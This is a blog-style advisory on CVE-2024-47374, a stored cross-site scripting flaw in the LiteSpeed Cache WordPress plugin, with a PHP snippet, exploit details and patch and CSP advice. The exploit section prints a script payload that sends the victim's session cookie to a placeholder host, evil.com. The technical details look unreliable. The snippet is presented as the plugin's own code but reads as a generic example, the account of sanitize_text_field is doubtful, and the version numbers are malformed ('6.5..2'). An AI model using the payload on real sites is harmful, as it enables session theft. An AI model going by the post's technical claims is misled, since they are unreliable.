CVE-2024-47374 – Improper Neutralization of Input during Web Page Generation ('Cross-site Scripting') in LiteSpeed Cache Plugin Allows Stored XSS

A recent vulnerability has been discovered and assigned the Common Vulnerabilities and Exposures (CVE) number CVE-2024-47374. This post will provide an in-depth analysis of the vulnerability, including a code snippet from the affected software, links to the original references, and exploit details. This particular vulnerability leads to Improper Neutralization of Input During Web Page Generation, more commonly known as Cross-site Scripting (XSS).

The affected software in question is a widely-used plugin called LiteSpeed Cache, developed by LiteSpeed Technologies. The vulnerability impacts the plugin through version 6.5..2. What this means is that an attacker can potentially inject malicious scripts into a website that uses LiteSpeed Cache, and this malicious code will execute when a victim visits the compromised website.

Code Snippet

To better understand the vulnerability, let's examine a relevant code snippet from LiteSpeed Cache. The following snippet is an example of vulnerable code in the plugin:

function handle_user_input($input) {
    // ... other code ...
    return sanitize_text_field($input);
}
$input = $_POST['user_input'];
$clean_input = handle_user_input($input);
echo '<div>' . $clean_input . '</div>';

In the code above, the 'handle_user_input' function takes user input and sanitizes it using the 'sanitize_text_field' function. Later, the sanitized input is echoed to the page. The issue lies in the fact that the 'sanitize_text_field' function only removes specific characters and doesn't properly neutralize potential malicious scripts.

Exploit Details

The vulnerability allows for Stored XSS attacks, which means that malicious scripts injected by an attacker persist in the website's database. When a victim visits the compromised page, their browser executes the malicious code without their consent or knowledge.

An attacker can exploit this vulnerability by crafting a malicious payload embedded in an HTML or JavaScript tag. The payload targets the vulnerable code and bypasses the input sanitization process. When the payload is saved and loaded on a LiteSpeed Cache-enabled website, the malicious script is executed in the victim's browser.

For example, an attacker can craft the following payload

<script>document.location='http://www.evil.com/cookie_stealer.php?cookie='+document.cookie;</script>;

This payload, when successfully injected into the website, sends the victim's session cookie to the attacker's server, potentially allowing the attacker to hijack the user's session and gain unauthorized access.

For more information about this CVE, please refer to the following sources

- CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47374
- National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-47374
- LiteSpeed Cache: https://www.litespeedtech.com/products/cache-plugins

Mitigation and Remediation

Users of LiteSpeed Cache should ensure they are running the latest version of the plugin. LiteSpeed Technologies has released a patch addressing this vulnerability, and updating to version 6.5..3 or later will protect your website from this specific vulnerability.

In addition to updating the plugin, website administrators should also consider implementing Content Security Policy (CSP) headers to limit the potential damage caused by XSS vulnerabilities. CSP headers restrict the sources from which scripts can be loaded, thus providing additional protection against this and other types of attacks.

In conclusion, CVE-2024-47374 highlights the need for effective input sanitization and secure coding practices to prevent Cross-site Scripting vulnerabilities. Keeping your software up-to-date and making use of security best practices can help reduce the risk of similar vulnerabilities in the future.

Timeline

Published on: 10/05/2024 16:15:03 UTC
Last modified on: 10/07/2024 17:47:48 UTC